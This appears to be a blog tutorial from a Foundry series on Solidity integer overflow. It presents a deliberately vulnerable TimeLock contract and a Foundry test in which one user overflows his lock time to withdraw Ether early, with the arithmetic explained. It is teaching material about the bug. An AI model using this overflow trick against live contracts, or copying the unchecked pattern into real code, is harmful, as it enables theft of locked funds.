Foundry III-OverFlow

Solidity Programming Language
3 min readMay 9, 2022

Overflow.sol Thanks to Murat

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

import “forge-std/Test.sol”;

TimeLock

contract TimeLock {                                 
// using SafeMath for uint256; mapping(address => uint) public balances; mapping(address => uint) public lockTime;

function deposit() external payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = block.timestamp + 1 weeks; }
function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; // vulnerable }

function withdraw() public {

require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } }

ContractTest

contract ContractTest is Test { 

TimeLock public TimeLockContract;
address alice;
address bob;

function setUp() public { TimeLockContract = new TimeLock();
//alice = vm.addr(1);
alice = makeAddr("alice");
// bob = vm.addr(2);
bob = makeAddr("bob");
vm.deal(alice, 1 ether); vm.deal(bob, 1 ether); }

function testFailOverflow in ContractTest

function testFailOverflow() public {                                     // console.log("Alice balance", alice.balance);                                     emit log_named_decimal_uint("Alice balance", alice.balance, 18);                                     // console.log("Bob balance", bob.balance);                                     emit log_named_decimal_uint("Bob balance", bob.balance, 18);                                                                   console.log("Alice deposit 1 Ether...");                                     vm.prank(alice);                                     TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Alice balance", alice.balance, 18);                                     // console.log("Alice balance", alice.balance); console.log("Bob deposit 1 Ether...");                                     vm.startPrank(bob);                                      TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Bob balance", bob.balance, 18);                                     // console.log("Bob balance", bob.balance);                                                                                                      TimeLockContract.increaseLockTime(                                         type(uint).max + 1 - TimeLockContract.lockTime(bob)                                     );                                                                   console.log("Bob will successfully to withdraw, because the lock time is overflowed");                                     TimeLockContract.withdraw();                                     
// console.log("Bob balance", bob.balance); emit log_named_decimal_uint("Bob balance", bob.balance, 18); vm.stopPrank();
vm.prank(alice); console.log("Alice will fail to withdraw, because the lock time not expired"); TimeLockContract.withdraw();
// expect revert

forge test — contracts ./src/test/OverFlow.sol -vvvv

vm.deal(alice, 1 ether);                                        vm.deal(bob, 1 ether);
// console.log("Alice balance", alice.balance); emit log_named_decimal_uint("Alice balance", alice.balance, 18); // console.log("Bob balance", bob.balance); emit log_named_decimal_uint("Bob balance", bob.balance, 18);
console.log("Alice deposit 1 Ether...");                                     vm.prank(alice);                                     TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Alice balance", alice.balance, 18);                                     // console.log("Alice balance", alice.balance);
console.log("Bob deposit 1 Ether...");                                     vm.startPrank(bob);                                      TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Bob balance", bob.balance, 18);                                     // console.log("Bob balance", bob.balance);

Theory for hacking

                                   
// bob locktime = t
// x=overflow == type(uint).max + 1 // t + x = type(uint).max + 1 // x = type(uint).max + 1 - t

Now Action

TimeLockContract.increaseLockTime(                                         type(uint).max + 1 - TimeLockContract.lockTime(bob)                                     );                                                                   console.log("Bob will successfully to withdraw, because the lock time is overflowed");
TimeLockContract.withdraw();                                     
// console.log("Bob balance", bob.balance); emit log_named_decimal_uint("Bob balance", bob.balance, 18); vm.stopPrank();
vm.prank(alice);                                     console.log("Alice will fail to withdraw, because the lock time not expired");                                     TimeLockContract.withdraw();    
// expect revert

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

--

--

Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps